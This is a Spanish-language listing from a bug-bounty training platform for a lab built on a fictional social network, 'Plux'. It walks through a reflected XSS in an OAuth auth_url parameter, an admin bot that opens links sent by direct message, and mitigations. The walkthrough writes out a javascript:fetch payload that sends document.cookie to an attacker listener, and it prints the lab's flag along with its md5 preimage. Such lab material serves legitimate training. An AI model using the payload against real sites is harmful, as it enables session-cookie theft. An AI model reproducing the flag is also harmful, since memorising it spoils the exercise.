Reflected XSS via `auth_url` + admin DM bot + cookie exfil
Red social ficticia "Plux" (login + feed + chat DM + notificaciones + ambient ticker) construida sobre Express + TypeScript con un sink XSS reflejado en `/googleAuthorization.html`. El parámetro GET `auth_url` se asigna directamente al atributo `href` de un botón "Continuar a Google" que se auto-clickea tras 2.2 segundos vía `setTimeout`. Un valor `auth_url=javascript:...` ejecuta el código en el origen de Plux. El admin **Marina Reyes** (bot Puppeteer) polea su bandeja de DMs cada 5s, extrae URLs, las abre en Chromium con sus cookies cargadas (`plux_sid` httpOnly + `plux_flag` no-httpOnly), y permanece en la página 4.5s — tiempo suficiente para que el sink dispare el auto-click y el payload `fetch` exfiltre `document.cookie` al listener del atacante. La cookie `plux_flag` contiene la flag en claro
$500
Es lo que una empresa pagó por este fallo en HackerOne. Aquí lo tienes reconstruido para que lo encuentres tú.
Aprende a encontrar este bug
Este bug pagó $500 en HackerOne.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hackers que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Plux es una red social ficticia minimalista, construida sobre Express +
TypeScript con frontend de HTML/CSS/JS plano servido como estáticos.
El estado vive completamente en memoria (Maps de users, posts, messages,
notifications) — sin SQLite. Un reinicio del contenedor = lab limpio.
Capa 1 — El sink XSS (CWE-79)
server/public/googleAuthorization.html es una página estándar de "iniciando
sesión con Google" con un botón blanco grande "Continuar a Google →". El JS
inline:
const params = new URLSearchParams(location.search);
const authUrl = params.get('auth_url') || 'https://accounts.google.com/o/oauth2/v2/auth?...';
const btn = document.getElementById('continue-btn');
btn.href = authUrl; // ⚠ reflexión sin validar
setTimeout(() => btn.click(), 2200); // ⚠ auto-click → activa javascript: URI
El sink es la asignación btn.href = authUrl. Browsers permiten clickear
programáticamente un <a href="javascript:..."> y eso ejecuta el código
como si fuera JS de la propia página (mismo origin). Conauth_url=javascript:alert(document.domain) salta el alert tras 2.2s.
Capa 2 — Cookie sin httpOnly (CWE-1004)
En server/src/auth.ts:setSessionCookies:
res.cookie('plux_sid', token, { httpOnly: true, ... }); // postura correcta
if (u.role === 'admin') {
res.cookie('plux_flag', FLAG, { httpOnly: false, ... }); // anti-patrón
}
Solo el admin recibe plux_flag. El comentario en código justifica
narrativamente el anti-patrón ("el SDK de analytics interno lo lee con
JS"). El valor de la cookie es la flag en claro: FLAG{md5(preimage)}.
Capa 3 — Bot admin (Puppeteer)
server/src/adminBot.ts ejecuta un loop cada 5s:
- Login del bot como admin (password rotada por boot, leída de
process.env.ADMIN_PASSWORDqueseed.tssetea). GET /api/_internal/admin-inbox?since_min=10— devuelve mensajes que
le mandaron en los últimos 10 minutos y que el bot aún no ha "visto".- Por cada mensaje con URL: rewrite
127.0.0.1 → host.docker.internal,
allowlist (localhost,127.0.0.1,host.docker.internal,plux),
launch Chromium,page.setCookie(plux_sid + plux_flag)para los 4
hostnames del lab,page.goto(url, { waitUntil: 'domcontentloaded' }),
esperar 4.5s (dwell), cerrar.
El allowlist solo aplica a la URL del PAGE NAVIGATION del bot. El fetch
que la página XSS-vulnerable ejecuta después del click NO está restringido
— ese es el canal de exfil hacia host.docker.internal:9999.
Capa 4 — Ambient activity (UX vivo)
server/src/ambient.ts:
- Cada 8–15s un bot ambiente envía DM a otro bot ("¿café en 30 min?", etc.).
- Cada 20–35s un bot likea un post aleatorio.
- Los bots se marcan "online" cada 30s.
- Cuando el atacante envía un mensaje a un bot ambiente, 35% de prob.
de respuesta tras 2–4s ("¡hey! ¿qué tal?"). - Cuando el atacante envía un mensaje al admin Marina: ella responde a
los 3s ("¡hola! ¿en qué puedo ayudarte?") y, si el mensaje contiene
una URL, responde a los 6s adicionales ("voy a echarle un vistazo,
gracias por avisar 🙏") — dando sensación de agente real antes de que
el bot Puppeteer abra el enlace.
La cadena completa
- Atacante login a Plux.
- Construye payload
javascript:fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)). - URL-encode y mete en
/googleAuthorization.html?auth_url=.... - Manda el link a Marina por DM.
- Marina responde scripts ("hola", "voy a echarle un vistazo").
- El bot Puppeteer abre la URL con
plux_sid(httpOnly) yplux_flag
(no httpOnly) ya inyectadas como cookies del dominio del lab. - El JS de la página lee
auth_url, lo planta enhref, auto-clickea. - El
javascript:URI ejecutafetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)). document.cookieen el navegador del bot devuelveplux_flag=FLAG{...}
(porqueplux_sides httpOnly y no aparece ahí).- El listener del alumno recibe la request y muestra la cookie
en el access log.
Por qué este patrón es real
El template viene de un reporte de bug bounty (intent: "lab al estilo
del reporte original donde googleAuthorization.html?auth_url=javascript:alert(document.domain)
disparaba XSS"). El patrón es común en flujos de OAuth donde el
frontend recibe la URL de autorización ya construida por el backend y
la pone "ciegamente" en un <a> — sin validar que el esquema seahttps: y el host accounts.google.com.
Mitigaciones (cubiertas en el writeup)
// Antes de asignar a btn.href:
try {
const u = new URL(authUrl);
if (u.protocol !== 'https:' || !u.host.endsWith('accounts.google.com')) {
throw new Error('auth_url no es de Google');
}
btn.href = u.toString();
} catch (e) {
showError('No pudimos completar el login con Google.');
return;
}
Y en la cookie:
res.cookie('plux_flag', value, { httpOnly: true, secure: true, sameSite: 'lax' });
Si tu SDK necesita el valor en JS, dale un endpoint /api/internal-token
con requireAuth — nunca metas datos sensibles en una cookie no httpOnly.
Flag
FLAG{a669a43d15eb9581e13d722eb4b4b33b}
Verificación:
echo -n 'plux::share-link-xss::auth_url-href-javascript::2026' | md5sum
# a669a43d15eb9581e13d722eb4b4b33b
